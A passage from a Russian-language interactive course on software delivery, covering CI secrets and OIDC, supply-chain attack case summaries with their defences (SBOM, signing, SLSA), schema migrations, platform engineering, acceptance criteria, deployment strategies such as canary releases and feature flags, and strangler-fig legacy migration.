    Как связаны CI и GitOps в «Ботинке». CI собирает и проверяет образ, а последним шагом делает коммит в botinok-deploy: меняет отпечаток образа в stage/shop.yaml (это скрипт bump-gitops.sh из главы 9). Дальше работает Argo CD. В кластер конвейер не ходит, ключей от кластера у него нет.

    глава 12 · безопасность поставки секреты конвейера и цепочка поставок

    Конвейер — самое привилегированное место в компании: он собирает код, который попадёт к Анне, и у него есть ключи от реестра и облака. Если взломать конвейер, можно ничего не взламывать в проде: вредоносный код приедет туда сам, с правильной подписью. Общие принципы защиты — в разделе . Здесь — то, что касается поставки.

    Часть 1. Секреты: ключ под ковриком

    Секрет — всё, что даёт доступ: пароль, токен, ключ облака, закрытый ключ сертификата. Долгоживущий секрет (static credential) действует месяцами и годами, пока его не отзовут вручную.

    В «Ботинке» ключ от облака лежал в переменных CI с 2022 года. Чем это плохо:

    • Утечки случаются. Ключ печатается в журнал отладочной командой, попадает в артефакт, его видит любое стороннее действие в конвейере. Маскировка в журнале не спасает: достаточно вывести ключ в base64 или по одной букве.
    • Утёкший ключ работает долго. Злоумышленнику спешить некуда.
    • Непонятно, кто им пользовался: ключ один на всех — и на конвейер, и на уволившегося подрядчика, который когда-то его скопировал.
    • Такие атаки были. В 2021 году злоумышленники изменили скрипт загрузки отчётов Codecov, который тысячи компаний запускали в своих конвейерах. Скрипт отправлял им переменные окружения — вместе с секретами.
    OIDC-федерация (workload identity federation) — вместо хранимого ключа конвейер при каждом запуске получает от своей платформы короткий подписанный пропуск (токен JWT): «я — конвейер репозитория botinok/shop, среда production». Облако проверяет подпись и условия и выдаёт временные ключи на час. Хранить нечего, красть впрок нечего.
    гостевой пропуск в бизнес-центр. Охрана смотрит паспорт и список гостей и выдаёт пропуск до 18:00 на один этаж. Альтернатива — выдать курьеру постоянный ключ от всех дверей и надеяться, что он его не потеряет.

    Пройдите по шагам, как задание deploy-prod получает доступ к облаку. Для этого в файле конвейера было permissions: id-token: write (глава 9).

    Хранилище секретов — отдельный сервис, который хранит секреты, выдаёт их по правилам и записывает, кто что брал. Самое известное — HashiCorp Vault; есть его открытый форк OpenBao и хранилища секретов у каждого облака. Главная особенность — динамические секреты: Vault по запросу создаёт в базе отдельного пользователя с паролем на час, а потом сам его удаляет. У каждого запуска свой пароль, и утечка одного ничего не даёт через час.

    Правила обращения с секретами в конвейере

    Нажмите на пункт, чтобы раскрыть.

    Часть 2. Цепочка поставок: отравление через поставщика

    Цепочка поставок ПО (software supply chain) — всё, через что проходит код на пути в прод: разработчики, репозиторий, сторонние библиотеки, инструменты сборки, конвейер, реестр образов, кластер. Атака на цепочку поставок — когда вредоносный код попадает к вам не через вашу уязвимость, а через одно из звеньев поставки.
    ресторан тщательно проверяет поваров, но не проверяет поставщика мяса. Отравление придёт через поставщика, и повара будут ни при чём.
    СлучайЧто произошлоКакое звеноУрок
    SolarWinds, 2020Злоумышленники проникли в систему сборки и внедрили вредоносный код в обновление продукта Orion. Обновление было подписано настоящей подписью компании, его установили около 18 000 клиентов.СборкаЗащищать сам конвейер; фиксировать, из чего и как собран артефакт
    Codecov, 2021Изменён скрипт, который компании скачивали и запускали в своих CI. Он отправлял наружу переменные окружения с секретами.Инструмент в конвейереНикаких вечных ключей в CI; проверять скачиваемое по контрольной сумме
    xz utils, 2024 (CVE-2024-3094)Человек два года помогал сопровождать библиотеку сжатия, стал одним из сопровождающих и спрятал бэкдор в архивы выпусков. Случайно заметил инженер Андрес Фройнд: вход по SSH стал медленнее примерно на полсекунды.ЗависимостьЗависимости — это люди; знать свой состав; собирать из исходников, а не из готовых архивов
    tj-actions/changed-files, 2025 (CVE-2025-30066)Популярное действие GitHub Actions взломали, его теги перевесили на вредоносный коммит. Оно печатало секреты конвейеров в журналы сборки.Стороннее действие CIЗакреплять действия по хешу коммита; давать заданиям минимум прав
    Log4Shell, 2021 (CVE-2021-44228)Не атака, а критическая уязвимость в популярной библиотеке журналирования log4j. Компании неделями выясняли, где она у них вообще есть.ЗависимостьОпись состава (SBOM) и постоянное сканирование

    Меры защиты — от репозитория до кластера

    Защищённая ветка (protected branch) — правила на main: прямые коммиты запрещены, только запрос на слияние; нужно одобрение другого человека и зелёный конвейер; перезапись истории (force push) запрещена.
    Анализ состава ПО (software composition analysis, SCA) — автоматическая проверка всех сторонних библиотек по базам известных уязвимостей (CVE, OSV). Делают сканеры вроде Trivy, Grype, OSV-Scanner, а боты Dependabot и Renovate сами предлагают обновления.
    SBOM (software bill of materials, опись состава ПО) — машиночитаемый список всех компонентов артефакта: какие библиотеки, каких версий, от кого. Два стандартных формата: SPDX (международный стандарт ISO/IEC 5962:2021) и CycloneDX (стандарт ECMA-424).
    состав на упаковке продукта. Когда выясняется, что партия какого-то ингредиента опасна, по составу за минуту видно, какие продукты снять с полок. Без состава — вскрывать каждую банку.
    Подпись артефакта — криптографическое подтверждение: «этот образ, с этим отпечатком, выпустил наш конвейер». Популярный инструмент — cosign из проекта Sigstore. Он умеет подписывать без хранимых ключей: подпись привязывается к OIDC-личности конвейера, короткий сертификат выдаёт центр Fulcio, а запись о подписи попадает в публичный журнал прозрачности Rekor. На входе в кластер стоит политика (например, Kyverno или Sigstore policy-controller): образ без правильной подписи не запускается.
    Происхождение (provenance) — подписанный документ о том, как собран артефакт: из какого коммита, в каком конвейере, какими шагами, с какими входами. Отвечает на вопрос «этот образ точно собран из нашего кода нашим конвейером, а не на чьём-то ноутбуке?».
    SLSA (Supply-chain Levels for Software Artifacts, читается «сальса») — открытая система уровней защиты цепочки поставок под эгидой OpenSSF. Текущая версия 1.2 (2025 год) содержит два трека: сборка (Build) и исходный код (Source).
    УровеньНазваниеЧто это значит простыми словами
    Build L0Нет гарантийТак было у Бориса: собрано неизвестно где и как
    Build L1Происхождение естьК артефакту приложен документ, как он собран. Защищает от ошибок, но подделать легко
    Build L2Сборка на размещённой платформеСобирает сервис сборки (не ноутбук), и он сам подписывает документ о происхождении
    Build L3Укреплённая сборкаЗапуски изолированы друг от друга; ключ подписи недоступен шагам, которые пишут пользователи. Подделать происхождение можно, только взломав саму платформу
    Source L1Под контролем версийКод хранится в современной системе контроля версий
    Source L2История и происхождениеИстория веток непрерывна и неизменна; на каждую ревизию выпускается подтверждение
    Source L3Постоянный технический контрольПравила организации (защищённые ветки, проверки) принудительно применяются системой
    Source L4Ревью двумя людьмиКаждое изменение защищённых веток проверяют два доверенных человека
    В России требования к процессам безопасной разработки задаёт ГОСТ Р 56939-2024 «Защита информации. Разработка безопасного программного обеспечения. Общие требования» (действует с 20 декабря 2024 года). Меры из этой главы — работа со сторонними компонентами, защита среды сборки, контроль изменений — помогают выполнить его требования. Если продукт проходит сертификацию, аналитику стоит заранее уточнить, какие из этих процессов нужно подтверждать документами.

    Потренируйтесь: какая мера остановила бы атаку

    Решено 0 из 0.

    глава 13 · база и платформа миграции в конвейере и «золотые пути»

    В пятницу Борис применил SQL-скрипт из чата, а второй забыл. Схема базы — тоже код, и она тоже должна ездить по конвейеру.

    Миграция схемы — пронумерованный скрипт изменения схемы базы: V31__add_promo_codes.sql, V32__promo_index.sql. Инструмент (Flyway, Liquibase) применяет скрипты по порядку и записывает в служебную таблицу, какие уже применены (у Flyway она называется flyway_schema_history). Поэтому любую среду можно одной командой привести к нужной версии схемы.
    журнал ремонта в квартире: «1 — снесли перегородку, 2 — провели кабель». Новая бригада читает журнал и продолжает с того места, где остановились, а не начинает заново и не сносит перегородку второй раз.

    Как миграция едет по конвейеру

    1
    Лежит в репозитории рядом с кодом.Проходит тот же запрос на слияние и ревью. Ревьюер смотрит: не заблокирует ли она большую таблицу, совместима ли со старым кодом.
    2
    Проверяется на чистой базе в контейнере.Интеграционные тесты поднимают PostgreSQL и прогоняют все миграции с нуля. Опечатка в SQL ловится здесь, а не в проде.
    3
    Применяется на стенде отдельным шагом до выкатки кода.Обычно это отдельное задание (например, Job в Kubernetes) перед обновлением подов. Стенд должен быть с данными, похожими на прод по объёму: миграция, которая на тестовых 100 строках идёт секунду, на 40 миллионах может держать блокировку двадцать минут.
    4
    Тем же способом — в прод.Руками никто ничего не запускает. Журнал применённых миграций в каждой среде показывает, где какая версия схемы.
    Главное правило: схема не откатывается так же легко, как код. Код вернуть можно за минуту, удалённую колонку — нет. Поэтому каждая миграция должна быть совместима с предыдущей версией кода: во время выкатки старые и новые поды работают с одной базой одновременно. Изменения, ломающие совместимость, разбивают на несколько выпусков по схеме «расширить → перенести → сжать» (expand–contract). Подробный пошаговый разбор — в разделе , про блокировки и транзакции — в разделе .

    Разложите по выпускам: переименовать колонку phone в phone_e164

    Колонку нельзя просто переименовать: старые поды во время выкатки будут искать phone и падать. Разложите шаги по трём выпускам.

    Решено 0 из 0.

    Платформенная инженерия: чтобы каждый не строил свой конвейер

    Прошёл год. В «Ботинке» уже 14 сервисов и 6 команд. Каждая команда когда-то скопировала конвейер Бориса и допилила по-своему. Теперь конвейеров четырнадцать, и все разные. Сканер уязвимостей стоит в девяти из них. Кира делает новый сервис «Возвраты» и тратит две недели не на возвраты, а на конвейер, Dockerfile, манифесты, дашборды и доступы.

    Платформенная инженерия (platform engineering) — отдельная команда делает для остальных команд внутренний продукт: готовые конвейеры, шаблоны сервисов, кластеры, наблюдаемость, секреты. Продуктовые команды пользуются им сами, без заявок и ожидания.
    Внутренняя платформа разработчика (Internal Developer Platform, IDP) — сам этот продукт: набор инструментов и сервисов с самообслуживанием. Часто у неё есть «витрина» — портал разработчика.
    Золотой путь (golden path) — заранее проложенный и поддерживаемый платформой способ сделать типичную вещь. Например: «новый сервис на Java» — репозиторий, конвейер со всеми воротами, стенд, дашборды и алерты за 15 минут. Это не запрет: свернуть можно, но тогда поддерживаете свой путь сами. Термин придумали в Spotify.
    кухня ресторанной сети. Франчайзи не проектирует плиту, вытяжку и правила санитарии — он получает готовую кухню и технологические карты. Готовить можно своё меню. Но за то, чтобы плита не загорелась, отвечает сеть.

    Кира без платформы: ≈ 2 недели

    Создать репозиторий. Скопировать чей-то конвейер и выяснить, почему он не работает. Написать Dockerfile. Написать манифесты Kubernetes. Завести секреты, попросить доступы в трёх чатах. Собрать дашборды и алерты. Забыть про сканер уязвимостей.

    Кира с золотым путём: ≈ 15 минут

    В портале выбрать шаблон «Java-сервис», ввести имя и команду-владельца. Получить репозиторий с кодом-заготовкой, конвейером со всеми воротами из этого раздела, записью в каталоге, стендом, дашбордом и алертами. Дальше — писать возвраты.

    Backstage — открытый портал разработчика. Spotify выложила его в открытый доступ в 2020 году, сейчас он развивается в CNCF. Три главные части: каталог (все сервисы, их владельцы, API, зависимости и документация в одном месте), шаблоны (создать сервис по золотому пути) и TechDocs (документация, которая пишется в репозитории рядом с кодом и показывается в портале).
    Чем платим. Платформа — это продукт, и к ней нужно относиться как к продукту: у неё есть пользователи (разработчики), их нужно слушать и мерить удобство. Платформа, которую навязали сверху и которой неудобно пользоваться, обходится дороже её отсутствия. Не нужна платформа, пока команд две-три: хватит общего шаблона конвейера и договорённостей.

    глава 14 · для аналитика «готово» — это когда? Требования к поставке и проверяемые критерии

    Олег в пятницу проверил руками 11 сценариев из 120. Это не его вина: критерии приёмки были записаны так, что автоматизировать их никто не мог. Аналитик влияет на конвейер сильнее, чем кажется. Он решает, что будет проверяться, как это сформулировано и что значит «готово».

    Критерии готовности (Definition of Done, DoD) — общий для команды список условий, при выполнении которых задача считается сделанной. Не «код написан», а «правка работает в проде, проверена и наблюдаема».
    правила приёма квартиры после ремонта. «Покрасили» — это не «готово». Готово, когда краска высохла, мусор вынесен, розетки проверены и ключи отданы.

    DoD «Ботинка»

    Код и проверки

    • Влито в main через запрос на слияние с ревью второго человека.
    • Конвейер зелёный; отключённых проверок нет.
    • Правила из критериев приёмки покрыты автотестами на нужном уровне.
    • Миграции базы совместимы с предыдущей версией кода.

    Поставка и эксплуатация

    • Выкачено на стенд, сквозные тесты прошли.
    • У новой функции есть метрики, журналы и алерт (см. ).
    • Если функция за флагом — у флага есть владелец и дата удаления.
    • Документация API и инструкция для поддержки обновлены.

    Трассируемость: от требования до выкатки

    Трассируемость требований (requirements traceability) — возможность пройти по цепочке от требования к критериям приёмки, от них к автотестам, от тестов к запуску конвейера и к выкатке. И обратно: по упавшему тесту понять, какое требование нарушено.
    ТребованиеКритерий приёмкиАвтотестЗапуск конвейераВ проде
    ТР-17 Скидка «Чёрная пятница»КП-17.1 Скидка 20 % на кроссовки в день акцииDiscountServiceTest.blackFridayDiscount№ 482 ✓выкатка 26.11, 14:05
    ТР-17КП-17.2 Скидка не суммируется с промокодомblack_friday.feature: сценарий 2№ 482 ✓выкатка 26.11, 14:05
    ТР-17КП-17.3 Вне дня акции цена обычнаяDiscountServiceTest.regularDay№ 482 ✓выкатка 26.11, 14:05

    Связь держится на простых вещах: номер требования в названии задачи, номер задачи в коммитах и в названиях тестов, отчёт конвейера с результатами тестов. Такую таблицу собирают автоматически. Когда аудитор или руководитель спрашивает «как вы проверили скидку?», ответ — ссылка, а не совещание.

    Приёмочные тесты в формате Дано–Когда–Тогда

    Дано–Когда–Тогда (Given–When–Then) — способ записать критерий приёмки как пример: исходное состояние, действие, ожидаемый результат. На языке Gherkin такие сценарии становятся исполняемыми тестами (инструмент Cucumber и аналоги). Gherkin понимает русские ключевые слова.
    # language: ru
    Функция: Скидка «Чёрная пятница»
    
      Сценарий: Скидка 20 % на кроссовки в день акции
        Дано кроссовки «Бег-42» стоят 4 990 ₽
        И сегодня 27 ноября 2026 года — день акции
        Когда Анна кладёт кроссовки в корзину
        Тогда цена в корзине 3 992 ₽
    
      Сценарий: Скидка не суммируется с промокодом
        Дано сегодня день акции
        И у Анны промокод ВЕСНА10 на 10 %
        Когда Анна применяет промокод к кроссовкам «Бег-42»
        Тогда применяется одна скидка — большая из двух
        И цена в корзине 3 992 ₽
    Проще говоря. Критерий «скидка работает корректно» проверить нельзя: непонятно, что такое «корректно». Критерий «4 990 ₽ в день акции превращаются в 3 992 ₽» — это готовый тест. Чем конкретнее пример, тем меньше споров на приёмке и тем больше проверок попадёт в конвейер, а не в ручной чек-лист.

    Требования к поставке: как их формулировать

    Нефункциональные требования к CI/CD пишут так же, как любые другие: измеримо и проверяемо. Примеры:

    1
    «Любое изменение попадает в прод только через конвейер. Ручные изменения в проде запрещены; дрейф обнаруживается ежедневной проверкой».
    2
    «Время от слияния в main до готовности к выкатке в прод — не более 30 минут (медиана за месяц)».
    3
    «Откат на предыдущую версию занимает не более 15 минут и выполняется дежурным без участия разработчиков».
    4
    «Каждый образ в проде подписан конвейером и сопровождается SBOM. Кластер не запускает неподписанные образы».
    5
    «Новые уязвимости уровня CRITICAL блокируют конвейер. Найденные в уже работающих сервисах устраняются за 7 календарных дней».
    6
    «Миграции базы данных совместимы с предыдущей версией приложения (N−1)».
    7
    «Конвейер получает доступ к облаку только по временным ключам (OIDC); срок жизни ключа — не более 1 часа».

    Потренируйтесь: где проверять это требование

    Для каждого требования выберите место, где его дешевле и надёжнее всего проверять. Решено 0 из 0.

    Частые ошибки

    Нажмите на пункт, чтобы раскрыть.

    глава 15 · проверь себя вопросы по конвейеру, инфраструктуре и поставке

    Решено 0 из 0.

    Дальше → следующий раздел — «Релизы 🚀»

    Как выкатывать — это архитектурное решение, а не дело эксплуатации. От него зависит, сколько людей увидит поломку и можно ли откатиться. И оно ставит жёсткое требование к коду: две версии обязаны работать одновременно. Они всегда работают одновременно — хотя бы минуту.

    карта раздела история одной выкатки — от и до

    Раздел — это одна история. Сначала разберёмся, что такое выкатка и почему она пугает. Потом пройдём настоящую выкатку минута за минутой. Затем сравним шесть способов и прогоним их через симулятор с багом. В конце — три вещи, которые ломают любую стратегию: две версии рядом, база данных и флаги. Нажмите на главу, чтобы перейти к ней.

    глава 1 · что это выкатка: новая версия у живых людей

    Выкатка (деплой, от англ. deploy) — это замена работающей программы на новую версию, пока ею пользуются люди. Не «собрать», не «протестировать», а именно заменить — на серверах, под нагрузкой, без остановки магазина.

    Как в жизни. Ресторан меняет меню. Можно закрыться на ночь и утром открыться с новым — но если гостям не понравится, придётся снова закрываться. Можно сначала дать новое меню одному столику и посмотреть на лица. Можно открыть второй такой же зал с новым меню и пересаживать туда гостей. А можно приготовить новое блюдо заранее и держать его на кухне, не показывая в меню. Это и есть способы выкатки. Мы вернёмся к ресторану в главе 3.

    Слова, без которых дальше не обойтись

    Версия
    Конкретная сборка программы с номером: 2.3, 2.4. Две разные версии — это два разных набора кода.
    Узел
    Одна запущенная копия программы. Сервис оплаты обычно работает на нескольких узлах сразу, чтобы выдержать нагрузку и пережить падение одного. В Kubernetes узел сервиса называют «подом».
    Балансировщик
    Регулировщик перед узлами. Получает запрос и решает, какому узлу его отдать. На нём держатся почти все хитрые стратегии выкатки.
    Откат
    Возврат к старой версии, если новая плохая. Главный вопрос любой стратегии — сколько он занимает: секунды, минуты или «никак».
    Радиус поражения
    Сколько пользователей увидят ошибку, если она есть. Всех? Двадцатую часть? Никого?
    Деплой и релиз
    Часто их путают. Деплой — код оказался на серверах. Релиз — пользователи получили функцию. С флагами (глава 8) это два разных момента: код лежит в проде неделю, а включается в пятницу.

    Почему выкатка пугает

    1. Тесты не видят всего

    Ошибки, которые проявляются только на настоящих данных, настоящих картах и под настоящей нагрузкой, тесты не поймают. Их увидят люди. Вопрос только в том, сколько людей.

    2. Две версии живут вместе

    Пока меняют узлы, часть работает на старой версии, часть — на новой. С одной базой, с одними очередями. Если версии не понимают друг друга — будут «плавающие» ошибки.

    3. База не откатывается

    Код вернуть можно за минуту. А удалённую колонку не вернёшь. Одна неосторожная миграция превращает быстрый откат в ночь восстановления из бэкапа.

    Одна мысль на весь раздел. Нельзя сделать так, чтобы ошибок не было. Можно сделать так, чтобы ошибку увидели немногие и чтобы откат занимал секунды. Всё, что дальше, — способы этого добиться.

    Зачем нужны безопасные релизы

    глава 2 · сквозной пример 14:00: команда выкатывает оплату, а Анна в это время платит

    Ситуация. Интернет-магазин, сервис оплаты. В 14:00 команда начинает выкатывать версию 2.4 вместо 2.3. Выкатка канареечная: сначала 5 % пользователей, потом больше. В 14:02 Анна покупает наушники за 1 990 ₽. Пройдите по шагам и смотрите, какие узлы на схеме работают и что между ними ходит. Сначала выберите, как всё сложится.

    ⚙ Конвейер CI/CDждёт
    📈 Мониторингошибки 0,3 %
    👩 Аннавыбирает товар
    →
    ⚖ Балансировщик100 % → 2.3
    →
    pay-12.3
    pay-22.3
    pay-32.3
    pay-4—
    →
    🗄 База платежейтаблица payments
    📨 Шина событийpayment.events
    🧾 Сервис чековстарый, год без изменений
    13:55трафик:
    2.3 — 100 % · 2.4 — 0 %
    
        
    шаг 1 из 12
    Нажмите «Дальше». Потом переключитесь на сценарий с багом и пройдите ещё раз — развилка начинается с шага 7.

    глава 3 · способы шесть способов выкатить — ресторан меняет меню

    В примере с Анной была канарейка. Но это один способ из шести. Все они отвечают на два вопроса: сколько людей увидят ошибку и как быстро её можно убрать. Выберите способ — увидите, на что он похож в жизни, как по шагам меняются узлы и чем за него платят.

    Всё вместе в одной таблице

    Нажмите на строку — раскроется подробное объяснение.

    глава 4 · симулятор в новой версии баг — кто его заметит?

    Слова «радиус поражения» и «скорость отката» лучше один раз увидеть. Здесь 12 минут выкатки, каждую минуту приходят 100 покупателей. Каждый квадратик — один покупатель. В новой версии спрятана ошибка: часть запросов к ней падает. Выберите стратегию, задайте, насколько плоха новая версия, и запустите. Потом попробуйте другую стратегию с тем же багом — результаты соберутся в таблицу.

    12 %
    минута 0 из 12
    старая версия новая, всё хорошо новая, ошибка сервис недоступен
    Выберите стратегию и нажмите «Следующая минута».
    Что стоит заметить. Big bang и blue-green бьют по всем сразу, но blue-green откатывается мгновенно. Rolling откатывается так же медленно, как катился. Канарейка и флаг ограничивают удар маленькой долей и откатываются автоматом. Теневой запуск не задевает никого — но и новую версию никто так и не получил: это проверка, а не выкатка.

    глава 5 · канарейка вблизи этапы, порог и почему нельзя спешить

    Название — из шахт. Шахтёры брали с собой канарейку: она чувствительнее к газу и замолкала раньше, чем люди начинали задыхаться. Здесь канарейка — маленькая доля трафика на новой версии. Если «замолчала» — уводим всех обратно.

    Новая версия выкатывается на растущую долю трафика. Метрики сравниваются со старой; при превышении порога — автоматический откат. Задайте качество новой версии и пройдите выкатку по шагам.

    2,5 %
    2,0 %
    400
    Доля трафика на новой: 0 % Пострадало запросов: 0 Ошибок в канарейке: — Время под нагрузкой: 0 с
    Начните выкатку. Первый этап — 1 % трафика.

    Три правила хорошей канарейки

    Сравнивать с соседом, а не с идеалом

    Метрики канарейки сравнивают со старыми узлами в ту же минуту. Если банк сейчас тормозит у всех, это не вина новой версии. Сравнение «со вчера» даст ложные откаты.

    Держать этап долго

    На 1 % трафика редкая ошибка проявится через минуты, утечка памяти — через часы. Этап короче, чем нужно метрикам, — это big bang с красивым названием.

    Трафик должен быть настоящим

    Если на канарейку попадают только роботы или только сотрудники, вы проверили не то. Нужна честная случайная доля покупателей — с липкостью, чтобы человек не прыгал между версиями.

    глава 6 · две версии рядом правило N−1: новая версия и старая обязаны понимать друг друга

    N−1 — это «текущая версия и предыдущая». Правило простое: код версии N обязан нормально работать рядом с версией N−1. В любой момент выкатки в системе живут две версии: старая и новая работают одновременно — на разных узлах, с одной базой, с одними очередями. Помните сервис чеков из главы 2? Он пережил выкатку только потому, что был мягким читателем.

    Как в жизни. В офисе половина сотрудников уже перешла на новые бланки заявлений, половина ещё пишет на старых. Бухгалтерия обязана принимать оба. Если в новом бланке появилась лишняя графа — ничего страшного, её можно не читать. А если графу «сумма» переименовали в «итого», старая бухгалтерия просто не найдёт сумму.

    Отсюда требования, которые действуют всегда, независимо от стратегии:

    • Новая версия читает данные, записанные старой, и наоборот.
    • Новая версия обрабатывает сообщения, отправленные старой, и наоборот.
    • Новый код работает со старой схемой (она ещё не мигрирована на части узлов).
    • Старый код не падает на данных, где появились новые поля, — неизвестные поля игнорируются, а не вызывают ошибку.

    Попробуйте: какое изменение переживёт соседство?

    Выберите, что изменили в сообщении об оплате, и как читает сообщения старый сервис: мягко (незнакомое пропускает) или строго (всё незнакомое — ошибка).

    Проще говоря. Во время выкатки в системе одновременно работают две версии — старая и новая. Не «иногда», а всегда, хотя бы минуту. Значит, они обязаны понимать данные друг друга. Это главное требование к коду, и его чаще всего забывают.
    Последний пункт — самый забываемый. Строгая валидация «запрещено всё, что не описано в схеме» кажется правильной и делает выкатку невозможной: новая версия добавила поле, старые узлы начали отвергать сообщения. Правило Постела здесь работает: к тому, что принимаешь, относись мягко; к тому, что отправляешь, — строго.

    глава 7 · база данных изменение схемы без простоя: параллельная замена

    Главная ловушка любой выкатки: код откатывается за минуту, схема базы — нет. Поэтому миграции делают так, чтобы старая и новая версии кода работали с одной схемой одновременно. В главе 2 колонку method_details добавили за день до выкатки кода — это и был первый шаг такого приёма. Разберём полный пример: разбить name на first_name и last_name.

    Как в жизни. Переезд без закрытия магазина. Сначала открываете новый склад рядом со старым. Какое-то время товар кладёте в оба. Потом перевозите остатки. Потом продавцы берут товар уже только с нового склада. И лишь когда всё спокойно — закрываете старый. На любом шаге, кроме последних, можно передумать.

    Пройдите по шагам. Смотрите на таблицу, на то, какой код сейчас работает, и на главный индикатор — можно ли ещё откатиться на самую первую версию.

    шаг 0 из 6
    Что нельзя делать никогда: переименовать колонку одной миграцией, удалить колонку в том же релизе, где перестали ею пользоваться, добавить NOT NULL без значения по умолчанию на большой таблице, поменять тип колонки «на месте». Каждое из этих действий делает откат невозможным, а часть ещё и блокирует таблицу на время, которого никто не ожидал.

    глава 8 · флаги переключатели функциональности: выкатить ≠ включить

    Флаг функциональности (feature flag) — это if в коде, условие которого хранится снаружи, в настройках. Код новой функции уже на серверах, но работает старая ветка. Включить новую можно без выкатки: поменять настройку.

    Как в жизни. Новое блюдо уже готовят на кухне, но в меню его нет. Сначала его предлагают своим — официантам. Потом постоянным гостям. Потом печатают в меню для всех. Если гости жалуются — блюдо молча убирают из меню. Кухню при этом никто не перестраивал.

    Попробуйте сами. Новая страница оплаты уже выкатана на все узлы. Решите, кому её показать.

    Пульт флага new-checkout

    25 %
    
          

    24 покупателя прямо сейчас

    Флаг выключен: код новой оплаты лежит на серверах, но никто его не видит.

    Что дают

    • Отделяют выкатку от включения. Код в проде, функция выключена — можно катить хоть каждый час.
    • Мгновенный откат без передеплоя: выключили флаг.
    • Постепенное включение по проценту, сегменту, конкретным клиентам.
    • Убирают долгоживущие ветки. Незаконченная функция живёт в главной ветке за флагом, а не в ветке на три месяца.

    Чем платят

    • Комбинаторный взрыв. Десять флагов — 1024 сочетания, и протестированы из них два.
    • Флаги не удаляют. Через год их сорок, и половина всегда включена, но код второй ветки остался.
    • Флаг в базе — это состояние, которое надо согласовывать между узлами.
    • Долг растёт молча. Каждый флаг — это if в горячем пути и два пути в тестировании.

    Посчитайте цену: сколько состояний у системы

    10
    Дисциплина, которая делает флаги полезными: у каждого флага есть владелец и дата смерти. Релизные флаги (для постепенного включения) живут дни-недели и удаляются сразу после полного включения. Операционные (аварийное отключение тяжёлой функции) живут долго и это нормально. Флаг без даты смерти и без владельца — технический долг с первого дня.

    глава 9 · как выбрать подбор стратегии за пять вопросов

    Стратегии не соревнуются — их комбинируют. Типичная зрелая команда катит код маленькими порциями через канарейку, а новые функции включает флагами. Ответьте на вопросы про свою ситуацию.

    задание какую стратегию взять?

    Для каждой ситуации выберите подходящий способ выкатки. Решено 0 из 0.

    задание релизы

    Решено 0 из 0.

    Дальше → как переписать систему, которую нельзя останавливать: душитель, ветвление по абстракции, параллельный прогон

    Переписать всё с нуля почти всегда проваливается. Причина простая: пока вы переписываете, старая система продолжает меняться. Вы догоняете убегающую цель и два года ничего не выпускаете. Работает другой путь — менять по кускам, каждый раз выкатывая результат. Этот раздел — одна история от начала до конца: что такое легаси, как выглядит миграция изнутри на примере одного клика, какие есть подходы и как провести замену «комната за комнатой».

    карта раздела куда мы идём

    Раздел читается сверху вниз, как одна история. Можно прыгнуть к любой главе — нажмите на неё.

    глава 1 · что это легаси: система, которую страшно трогать

    Легаси (legacy, «наследство») — это работающая система, которую страшно менять. Не обязательно старая: бывает легаси, написанное два года назад. Признаки всегда одни: тестов нет, авторы ушли, документации нет, а правила бизнеса живут только в коде.

    Миграция — перенос функций из старой системы в новую так, чтобы бизнес не останавливался ни на день.

    Житейски: ремонт в квартире, где продолжают жить. Съехать на два года нельзя — семья живёт здесь, дети ходят в школу, кот ест по расписанию. Поэтому дом не сносят. Ремонтируют комнату за комнатой: пока в спальне меняют проводку, все спят в гостиной. Спальня готова — переселились, взялись за кухню. В любой момент в квартире можно жить. Это и есть вся идея постепенной миграции.
    🏚 Почему «страшно»

    Любая правка может сломать что-то в неожиданном месте. Проверить нечем: тестов нет. Спросить некого: авторы ушли. Поэтому код не трогают, а обходят — и он становится ещё запутаннее.

    💰 Почему нельзя просто выключить

    Легаси приносит деньги. Через него идут заказы, платежи, отчёты для налоговой. Именно поэтому оно легаси, а не мусор: оно слишком ценное, чтобы выбросить, и слишком хрупкое, чтобы менять.

    Зачем вообще его трогать

    глава 2 · сквозной пример Анна открывает личный кабинет

    Прежде чем разбирать термины, посмотрим на миграцию изнутри. Турагентство третий месяц переносит функции из старого монолита в новые сервисы. Функцию «Профиль» уже переписали, и её получают 10 % пользователей. Остальное — заказы, оплата — пока в монолите.

    Анна нажимает «Личный кабинет». Идите по шагам и смотрите, какой узел работает и какие данные проходят через него.

    👩 Аннабраузер
    📒 Журнал расхожденийпараллельный прогон
    🚪 Фасадвходная дверь, прокси
    🗺 Таблица маршрутовфлаги и проценты
    🏚 Старый монолитзаказы, оплата, профиль
    🏠 Новый сервис «Профиль»переписан с тестами
    🗄 Старая базапока главный источник правды
    🗣 Переводчик (ACL)старое ↔ новое
    🗃 Новая базапока пустая
    
        

    глава 3 · почему почему не переписать всё с нуля

    Первое желание при виде легаси — «снести и написать нормально». Посмотрим, что при этом происходит. Старая система не замирает: бизнес каждый месяц просит новое. Допустим, она прибавляет 4 функции в месяц, а сейчас умеет 100. Двигайте ползунки.

    12
    6 / мес

    Цифры условные, но форма провала настоящая. Вот четыре причины, из-за которых «большое переписывание» почти всегда заканчивается плохо. Нажмите на каждую.

    глава 4 · подходы пять способов заменить старое — и на что они похожи в жизни

    В примере с Анной работали сразу три приёма: фасад с процентами (душитель), переводчик (ACL) и сравнение ответов (параллельный прогон). Разложим все подходы по полочкам. Выберите подход.

    Всё рядом: сравнение

    Нажмите на строку — появится пояснение.

    Это не «или — или». Настоящая миграция почти всегда комбинирует: душитель задаёт общий план, переводчик защищает новый код от старой модели, параллельный прогон проверяет расчёты, а ветвление по абстракции помогает там, где нет сетевой границы.

    Проверьте себя: какой подход взять

    Решено 0 из 0.

    глава 5 · душитель душитель (Strangler Fig) по шагам

    Фикус-душитель обвивает дерево, постепенно заменяя его собой; когда дерево умирает, фикус стоит сам. Так же заменяют легаси: новое растёт снаружи, трафик переключается по кускам, старое отмирает. Пройдите по шагам — это жизненный цикл одного куска.

    глава 5 · симулятор ремонт комната за комнатой

    Теперь — весь дом. Монолит турагентства состоит из шести «комнат». У каждой своя доля трафика и своя цена ошибки. Проводите комнаты через шаги душителя кнопкой ▶. Кнопка 💥 устраивает сбой в новой версии комнаты — посмотрите, во что он обойдётся на каждом шаге. Кнопка ↩ — откат.

    в монолите переезд идёт на новом, старое живо переехала целиком
    Что стоит заметить. Пока старый код жив (до шага «данные переехали»), любой сбой лечится одной настройкой. После переезда данных откат стоит дней, после удаления старого кода — отката нет вовсе. Поэтому переезд данных и удаление делают, только когда комната прожила на новом достаточно долго.

    глава 6 · переводчик слой предотвращения порчи (anti-corruption layer)

